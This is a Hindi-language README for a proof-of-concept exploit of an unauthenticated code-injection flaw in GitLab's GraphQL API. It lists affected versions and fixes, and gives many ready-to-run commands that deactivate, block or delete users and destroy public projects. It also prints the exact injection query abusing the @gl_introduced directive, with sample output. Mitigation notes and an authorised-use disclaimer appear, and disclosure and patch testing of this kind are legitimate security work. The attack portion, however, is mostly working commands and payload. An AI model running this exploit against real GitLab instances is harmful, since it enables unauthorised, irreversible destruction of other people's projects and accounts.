
GitLab के GraphQL API में बिना प्रमाणीकरण के रिमोट कोड इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो सार्वजनिक प्रोजेक्ट्स और उपयोगकर्ताओं को संशोधित या हटाने के लिए तैयार की गई क्वेरी का उपयोग करता है।
| गंभीरता | 9.4 गंभीर — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (कोड निर्माण का अनुचित नियंत्रण / कोड इंजेक्शन) |
| प्रभावित | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| समाधान | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| खुलासा | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
यह शोषण एक फ़ॉलबैक-फ़ील्ड कोड इंजेक्शन है: एक GraphQL क्वेरी में हमलावर द्वारा चुना गया फ़ील्ड नाम अंतर्निहित ActiveRecord मॉडल (Project, User, ...) पर एक मनमाना public_send कॉल में बदल दिया जाता है। चूँकि फ़ॉलबैक फ़ील्ड केवल तभी बनती है जब क्वेरी में "भविष्य" @gl_introduced निर्देश भी होता है, यह निर्देश इंजेक्शन का मूल तत्व है।
| श्रृंखला | प्रभावित | समाधान |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
स्क्रिप्ट सर्वोत्तम-प्रयास संस्करण पहचान करती है (/api/v4/version एक टोकन के साथ, /help, /users/sign_in) और रिपोर्ट करती है कि लक्ष्य प्रभावित श्रेणियों में आता है या नहीं।
touch पेलोड भेजें। एक कमजोर इंस्टेंस "touch": true लौटाता है; एक पैच किया गया इंस्टेंस Field 'touch' doesn't exist on type 'Project' लौटाता है।/api/graphql इंट्रोस्पेक्शन) में gl_introduced निर्देश को उजागर करता है। पैच किए गए इंस्टेंस अभी भी इसे उजागर कर सकते हैं, इसलिए व्यवहार जाँच ही प्रामाणिक है।python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| विकल्प | विवरण |
|---|---|
--url | GitLab आधार URL, जैसे https://gitlab.example.com |
--project | एक सार्वजनिक प्रोजेक्ट का पूर्ण पथ, जैसे group/subgroup/project |
--user | एक सार्वजनिक उपयोगकर्ता का उपयोगकर्ता नाम, जैसे alice |
--mode | check (डिफ़ॉल्ट, हानिरहित touch) · modify (उपयोगकर्ता: deactivate, प्रोजेक्ट: touch) · destroy · delete · custom |
--method | --mode custom के लिए विधि नाम (एक मान्य GraphQL नाम होना चाहिए) |
--token | वैकल्पिक GitLab PRIVATE-TOKEN (संस्करण पहचान / प्रमाणीकरण) |
--version | पहचान छोड़ें, एक संस्करण स्ट्रिंग को बाध्य करें |
--insecure | TLS प्रमाणपत्र सत्यापन अक्षम करें |
विनाशकारी मोड (modify, destroy, delete) के लिए इंटरैक्टिव yes पुष्टि की आवश्यकता होती है।
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
पैच किए गए इंस्टेंस की प्रतिक्रिया एक सामान्य GraphQL सत्यापन त्रुटि है:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
लक्ष्य सार्वजनिक होना चाहिए (प्रोजेक्ट दृश्यता Public, या ऐसा उपयोगकर्ता जिसकी प्रोफ़ाइल GraphQL के माध्यम से सार्वजनिक रूप से हल हो सके)। यदि पैरेंट null है, तो विधि कभी कॉल नहीं की जाती।
/api/graphql तक नेटवर्क पहुंच प्रतिबंधित करें, या आवश्यक न होने पर @gl_introduced संस्करण-फ़िल्टर सुविधा अक्षम करें।e283c6ad "फॉलबैक फील्ड को हल करते समय ऑब्जेक्ट विधि को कॉल करने से रोकें"यह PoC केवल रक्षात्मक सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। इसे उन सिस्टमों के खिलाफ न चलाएं जिनके मालिक आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।